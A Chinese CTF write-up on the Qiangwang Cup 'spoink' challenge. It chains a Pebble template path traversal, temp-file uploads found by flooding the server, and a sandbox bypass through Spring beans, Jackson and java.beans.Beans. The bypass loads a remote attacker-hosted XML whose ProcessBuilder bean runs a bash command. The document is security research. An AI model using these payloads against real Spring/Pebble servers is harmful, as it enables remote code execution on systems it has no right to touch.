Spring 場景下突破 pebble 模板注入限制

語言: CN / TW / HK

作者:Y4tacker

原文連結: https://tttang.com/archive/1692/

寫在前面

之前週末忙著強網杯,對這道題只做了一半就擱置下來了,最後卡在繞過最新pebble模板引擎RCE那裡,今天抽空來繼續進行剩下的分析,正好題目裡有幾個在現實場景當中能用的trick順便也分享了

題目環境分析

也是挺不錯題目直接給了docker環境便於本地搭建,同時設定了許可權需要執行./getflag才能獲取獲得flag

FROM openjdk:18-slim-bullseye

RUN mkdir /usr/src/app
WORKDIR /usr/src/app

# create user
RUN groupadd chalusr
RUN useradd -ms /bin/bash -g chalusr chalusr

COPY spoink/target/spoink-0.0.1-SNAPSHOT-spring-boot.jar ./
COPY spoink/public ./public
COPY spoink/templates ./templates
COPY getflag ./

RUN chmod 111 ./getflag

USER chalusr
CMD ["java", "-jar", "/usr/src/app/spoink-0.0.1-SNAPSHOT-spring-boot.jar"]

路由只有一個,根據引數x返回指定模板,剛看到這裡的時候其實有點懵,畢竟很少見到只給一個路由的程式碼

@Controller
public class HomeController {
    public HomeController() {
    }

    @RequestMapping({"/"})
    public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {
        return (String)template.orElse("home.pebble");
    }
}

不過我很快關注到了一個application.properties當中一個很有趣的點,也就是這裡沒有後綴,因此想到了一個目錄穿越的可能

pebble.prefix = templates
pebble.suffix =

正文

目錄穿越

為什麼我說上面那個點很有趣,其實就是第一個想分享的trick,路徑穿越,簡單來說pebble當中有兩個loader一個是classpathloader,另一個是fileloader,優先會在classpath下嘗試載入模板檔案,如果尋找不到則使用fileloader嘗試載入模板檔案,其他呼叫棧不是很重要這裡就不多提了

既然想實現任意檔案讀那第一個就別想了,我們來看第二個,它在com.mitchellbosecke.pebble.loader.FileLoader#getFile最終載入模板檔案內容

可以很明顯看到這裡沒有做路徑限制,導致我們可以進行跨目錄讀任意檔案

結果如下

RCE攻擊路徑初步構建

因此我們便能成功想到一條能RCE的攻擊路徑

  1. 上傳帶惡意內容的模板檔案到目標伺服器
  2. 利用LFI讀取這個模板並RCE

如何上傳檔案?上傳瞭如何獲取?

但是這裡就遇到第一個難點,如何上傳檔案?這裡路由當中並沒有上傳檔案的功能點

怎麼辦?其實很簡單,我們也知道,我們的Spring MVC框架是圍繞DispatcherServlet來設計的,這個Servlet會把請求分發給各個處理器,並支援可配置的處理器對映、檢視渲染、本地化、時區與主題渲染和 檔案上傳 等功能,好了我都圈出來重點了

在這過程當中它會檢查這是否是一個表單請求

正好我們也知道spring預設使用內建的tomcat引擎,

在處理表單的內容當中這會呼叫 org.apache.catalina.connector.Request#getParts 去處理解析內容,而這在之前的文章Tomcat檔案上傳流量層面系列文章當中也提到過,遺忘的可以去 我的部落格 考古

廢話不多說,類似php的處理一樣,它會先將上傳的檔案儲存到一個臨時目錄再最終複製到目標資料夾,臨時資料夾的獲取在哪裡,在 org.apache.catalina.connector.Request#parseParts

發現是通過 javax.servlet.MultipartConfigElement#getLocation 函式獲取到儲存到臨時路徑

不難看到這裡是空對吧,也就是預設值(預設的話後面會存到/tmp目錄下),順便多提一下,哪裡可以設定這個location呢

在spring的啟動過程當中,會根據 spring.servlet.multipart.location 的值設定這個內容,具體可以自行去參考org.springframework.boot.autoconfigure.web.servlet.MultipartProperties

@ConfigurationProperties(
    prefix = "spring.servlet.multipart",
    ignoreUnknownFields = false
)
public class MultipartProperties {
    private boolean enabled = true;
    private String location;
    private DataSize maxFileSize = DataSize.ofMegabytes(1L);
    private DataSize maxRequestSize = DataSize.ofMegabytes(10L);
    private DataSize fileSizeThreshold = DataSize.ofBytes(0L);
    private boolean resolveLazily = false;

    public MultipartProperties() {
    }

    public boolean getEnabled() {
        return this.enabled;
    }

    public void setEnabled(boolean enabled) {
        this.enabled = enabled;
    }

    public String getLocation() {
        return this.location;
    }

    public void setLocation(String location) {
        this.location = location;
    }

    public DataSize getMaxFileSize() {
        return this.maxFileSize;
    }

    public void setMaxFileSize(DataSize maxFileSize) {
        this.maxFileSize = maxFileSize;
    }

    public DataSize getMaxRequestSize() {
        return this.maxRequestSize;
    }

    public void setMaxRequestSize(DataSize maxRequestSize) {
        this.maxRequestSize = maxRequestSize;
    }

    public DataSize getFileSizeThreshold() {
        return this.fileSizeThreshold;
    }

    public void setFileSizeThreshold(DataSize fileSizeThreshold) {
        this.fileSizeThreshold = fileSizeThreshold;
    }

    public boolean isResolveLazily() {
        return this.resolveLazily;
    }

    public void setResolveLazily(boolean resolveLazily) {
        this.resolveLazily = resolveLazily;
    }

    public MultipartConfigElement createMultipartConfig() {
        MultipartConfigFactory factory = new MultipartConfigFactory();
        PropertyMapper map = PropertyMapper.get().alwaysApplyingWhenNonNull();
        map.from(this.fileSizeThreshold).to(factory::setFileSizeThreshold);
        map.from(this.location).whenHasText().to(factory::setLocation);
        map.from(this.maxRequestSize).to(factory::setMaxRequestSize);
        map.from(this.maxFileSize).to(factory::setMaxFileSize);
        return factory.createMultipartConfig();
    }
}

ok回到正文,如果這為空,就會儲存到預設路徑,也就是 javax.servlet.context.tempdir ,實際上就是在/tmp目錄下

try {
  String locationStr = mce.getLocation();
  File location;
  if (locationStr != null && locationStr.length() != 0) {
    location = new File(locationStr);
    if (!location.isAbsolute()) {
      location = (new File((File)context.getServletContext().getAttribute("javax.servlet.context.tempdir"), locationStr)).getAbsoluteFile();
    }
  } else {
    location = (File)context.getServletContext().getAttribute("javax.servlet.context.tempdir");
  }

這裡除錯可以看到將會儲存在這個看著就不能爆破的資料夾下,

且不說前面這個又臭又長的資料夾,在最終生成臨時檔案時 org.apache.tomcat.util.http.fileupload.disk.DiskFileItem#getTempFile

還有靠UID隨機生成的檔名,真的是不怕麻煩

protected File getTempFile() {
  if (this.tempFile == null) {
    File tempDir = this.repository;
    if (tempDir == null) {
      tempDir = new File(System.getProperty("java.io.tmpdir"));
    }

    String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());
    this.tempFile = new File(tempDir, tempFileName);
  }

  return this.tempFile;
}

不過當然我們肯定是有辦法的啦,別忘了有個東西叫檔案描述符,這玩意兒是啥我想大家都知道,因此我們可以通過上傳大檔案多執行緒狂轟亂炸,burp都給我衝起來!不得不說狂轟亂炸法yyds!按理說上傳完了以後這玩意兒就應該關閉,結果我發現我停止後,去和yzddmr6吹牛一分鐘都還在。

當然其實還可以通過curl命令的--limit-rate引數來限制HTTP請求和迴應的頻寬,但我覺得burp狂轟亂炸更適合我.

curl --limit-rate 1k -X POST http://vps:1234 -F "<a href="https://paper.seebug.org/cdn-cgi/l/email-protection" data-cfemail="a0c6c9ccc59de0">[email protected]</a>/tmp/1.txt"

之後就是如何實現模板注入實現RCE了

利用現有環境Bypass最新版Pebble模板引擎限制

網上隨便抄了一個看起來最新的

{% set cmd = 'id' %}
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

結果命令列大大的問號?然後想到了這是最新版修復了之前的問題

根據報錯內容的顯示,接下來我們看看具體做的哪些限制,可以看到夠噁心的不能是下面這麼多類的例項???並且能呼叫FORBIDDEN_METHODS 當中的方法,特別是判斷是否為Class例項將我們反射的路給斷掉了(在這個模板語法當中只能通過xx.class.forName去獲取其他物件) ,剩下程式碼也很簡單就不帶著讀了

public class BlacklistMethodAccessValidator implements MethodAccessValidator {
    private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"};

    public BlacklistMethodAccessValidator() {
    }

    public boolean isMethodAccessAllowed(Object object, Method method) {
        boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method);
        return !methodForbidden;
    }

    private boolean isUnsafeMethod(Method member) {
        return this.isAnyOfMethods(member, FORBIDDEN_METHODS);
    }

    private boolean isAnyOfMethods(Method member, String... methods) {
        String[] var3 = methods;
        int var4 = methods.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            String method = var3[var5];
            if (this.isMethodWithName(member, method)) {
                return true;
            }
        }

        return false;
    }

    private boolean isMethodWithName(Method member, String method) {
        return member.getName().equals(method);
    }
}

如何繞過限制載入任意Class物件

我們也知道Spring 應用程式的許多例項都隱式註冊為bean,因此我們能不能從bean當中找到一個物件而這個物件當中儲存了classloader物件,通過獲取到它我們就能通過執行loadClass載入到任意物件

既然如此,第一反應其實就是想到去上下文中看看有沒有這些bean物件,而pebble在初始化上下文時是在 com.mitchellbosecke.pebble.template.PebbleTemplateImpl#evaluate(java.io.Writer, java.util.Map<java.lang.String,java.lang.Object>, java.util.Locale) 當中

可以看到這個map當中存了beans物件,而這個beans物件當中存的是那些bean物件,一方面我們可以直接遍歷輸出到控制檯

另一方面我們也可以直接在程式碼當中看一眼,反正不費事往上看看,可以看到是在 com.mitchellbosecke.pebble.spring.servlet.PebbleView#addVariablesToModel

當中,獲取了spring的應用程式上下文並新增到beans屬性當中

private void addVariablesToModel(Map<String, Object> model, HttpServletRequest request, HttpServletResponse response) {
  model.put("beans", new Beans(this.getApplicationContext()));
  model.put("request", request);
  model.put("response", response);
  model.put("session", request.getSession(false));
}

因此我們可以通過表示式獲取到這個上下文當中註冊的bean,去嘗試尋找一些其他的屬性來繞過限制,

因此為了方便遍歷bean當中的類,我們在原路由前加上獲取上下文的部分程式碼

@RequestMapping({"/"})
public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {
  ServletContext sss = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext();
  org.springframework.web.context.WebApplicationContext context  = org.springframework.web.context.support.WebApplicationContextUtils.getWebApplicationContext(sss);
  String[] beanDefinitionNames = context.getBeanDefinitionNames();
  for (String o:beanDefinitionNames) {
    System.out.println(o.toString());
  }
  return (String)template.orElse("home.pebble");
}

重新啟動專案並訪問可以得到控制檯輸出

//輸出
org.springframework.context.annotation.internalConfigurationAnnotationProcessor
org.springframework.context.annotation.internalAutowiredAnnotationProcessor
org.springframework.context.annotation.internalCommonAnnotationProcessor
org.springframework.context.event.internalEventListenerProcessor
org.springframework.context.event.internalEventListenerFactory
spoinkApplication
org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory
homeController
pebbleLoader
org.springframework.boot.autoconfigure.AutoConfigurationPackages
org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration
propertySourcesPlaceholderConfigurer
org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration
websocketServletWebServerCustomizer
org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration
org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat
tomcatServletWebServerFactory
org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration
servletWebServerFactoryCustomizer
tomcatServletWebServerFactoryCustomizer
org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor
org.springframework.boot.context.internalConfigurationPropertiesBinderFactory
org.springframework.boot.context.internalConfigurationPropertiesBinder
org.springframework.boot.context.properties.BoundConfigurationProperties
org.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilter
server-org.springframework.boot.autoconfigure.web.ServerProperties
webServerFactoryCustomizerBeanPostProcessor
errorPageRegistrarBeanPostProcessor
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration
dispatcherServlet
spring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration
dispatcherServletRegistration
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration
org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration
taskExecutorBuilder
applicationTaskExecutor
spring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionProperties
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration
error
beanNameViewResolver
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration
conventionErrorViewResolver
spring.web-org.springframework.boot.autoconfigure.web.WebProperties
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration
errorAttributes
basicErrorController
errorPageCustomizer
preserveErrorControllerTargetClassPostProcessor
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration
requestMappingHandlerAdapter
requestMappingHandlerMapping
welcomePageHandlerMapping
localeResolver
themeResolver
flashMapManager
mvcConversionService
mvcValidator
mvcContentNegotiationManager
mvcPatternParser
mvcUrlPathHelper
mvcPathMatcher
viewControllerHandlerMapping
beanNameHandlerMapping
routerFunctionMapping
resourceHandlerMapping
mvcResourceUrlProvider
defaultServletHandlerMapping
handlerFunctionAdapter
mvcUriComponentsContributor
httpRequestHandlerAdapter
simpleControllerHandlerAdapter
handlerExceptionResolver
mvcViewResolver
mvcHandlerMappingIntrospector
viewNameTranslator
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter
defaultViewResolver
viewResolver
requestContextFilter
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration
formContentFilter
com.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfiguration
pebbleViewResolver
com.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfiguration
springExtension
pebbleEngine
pebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebbleProperties
org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration
mbeanExporter
objectNamingStrategy
mbeanServer
org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration
springApplicationAdminRegistrar
org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfiguration
forceAutoProxyCreatorToUseClassProxying
org.springframework.boot.autoconfigure.aop.AopAutoConfiguration
org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration
applicationAvailability
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration
standardJacksonObjectMapperBuilderCustomizer
spring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonProperties
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration
jacksonObjectMapperBuilder
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration
parameterNamesModule
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration
jacksonObjectMapper
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration
jsonComponentModule
org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration
org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration
lifecycleProcessor
spring.lifecycle-org.springframework.boot.autoconfigure.context.LifecycleProperties
org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration
stringHttpMessageConverter
org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration
mappingJackson2HttpMessageConverter
org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration
org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration
messageConverters
org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration
spring.info-org.springframework.boot.autoconfigure.info.ProjectInfoProperties
org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration
spring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties
org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor
org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration
scheduledBeanLazyInitializationExcludeFilter
taskSchedulerBuilder
spring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingProperties
org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration
restTemplateBuilderConfigurer
restTemplateBuilder
org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration
tomcatWebServerFactoryCustomizer
org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration
org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration
characterEncodingFilter
localeCharsetMappingsCustomizer
org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration
multipartConfigElement
multipartResolver
spring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartProperties
org.springframework.aop.config.internalAutoProxyCreator

之後也算運氣好,測了前幾個就發現通過取得internalCachingMetadataReaderFactory物件可以拿到classLoader

因此有了這個我們便可以載入任意類了

{% set class1= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("xxxx") %}

但是我們需要獲得一個類例項,但是我們不能去呼叫它的任何方法畢竟是class類,很好的一點是這裡有jackson??,beans物件裡也能直接獲取到,解決一切問題

{% set woshishuaibi =  beans.get("jacksonObjectMapper").readValue("{}", class1) %}

因此我們能獲得一個類的例項以後rce就相對“簡單”了??,比如說

ScriptEngineManager engineManager = new ScriptEngineManager();
ScriptEngine engine = engineManager.getEngineByName("js");
engine.eval("xxxx");

但題目當中環境是jdk18,發現engineManager.getEngineByName裡面褲子都不剩了啥都沒有,看來這個方法也是沒用的,同時由於jackson例項化限制我們也不能直接例項化jshell

此時靈機一動我又想到兩個類,它們例項化載入配置檔案可以造成rce

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

但是臉黑啊,環境裡面jackson有限制,繼承了AbstractPointcutAdvisor/AbstractApplicationContext這兩個類的都不行,心裡xxx

這時候怎麼辦呢?那classpath下有沒有某個類可以幫助我們例項化任意物件呢?

另類繞過Jackson黑名單限制

當然有噠!也就是java.beans.Beans類,這個類可以幫助我們例項化任意方法

public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException {
  return Beans.instantiate(cls, beanName, null, null);
}

這裡的引數cls可以不傳,為null則會預設呼叫ClassLoader.getSystemClassLoader();獲取一個classloader

public static Object instantiate(ClassLoader cls, String beanName,
                                 BeanContext beanContext,
                                 AppletInitializer initializer)
  throws IOException, ClassNotFoundException {

  InputStream ins;
  ObjectInputStream oins = null;
  Object result = null;
  boolean serialized = false;
  IOException serex = null;

  // If the given classloader is null, we check if an
  // system classloader is available and (if so)
  // use that instead.
  // Note that calls on the system class loader will
  // look in the bootstrap class loader first.
  if (cls == null) {
    try {
      cls = ClassLoader.getSystemClassLoader();
    } catch (SecurityException ex) {
      // We're not allowed to access the system class loader.
      // Drop through.
    }
  }

之後的邏輯我們不需要關注那個二次反序列化的部分,在後面可以看到可以例項化任意public修飾的構造方法

if (result == null) {
  // No serialized object, try just instantiating the class
  Class<?> cl;

  try {
    cl = ClassFinder.findClass(beanName, cls);
  } catch (ClassNotFoundException ex) {
    // There is no appropriate class.  If we earlier tried to
    // deserialize an object and got an IO exception, throw that,
    // otherwise rethrow the ClassNotFoundException.
    if (serex != null) {
      throw serex;
    }
    throw ex;
  }

  if (!Modifier.isPublic(cl.getModifiers())) {
    throw new ClassNotFoundException("" + cl + " : no public access");
  }

  /*
             * Try to instantiate the class.
             */

  try {
    result = cl.newInstance();
  } catch (Exception ex) {
    // We have to remap the exception to one in our signature.
    // But we pass extra information in the detail message.
    throw new ClassNotFoundException("" + cl + " : " + ex, ex);
  }
}

最終構造實現RCE

最終模板檔案構造

{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("http://xxxx/1.xml") }}
{{ yyy.refresh() }}

1.xml

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>open</value>
                <value>-a</value>
                <value>calculator</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

本地彈出了計算器,那麼現在則可以開始著手解題了,

構造命令 ./getflag > /tmp/flag

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>echo Li9nZXRmbGFnID4gL3RtcC9mbGFn|base64 -d|bash -i</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

先用burp狂轟亂炸,看到頁面有回顯的說明執行成功

再包含進來就ok了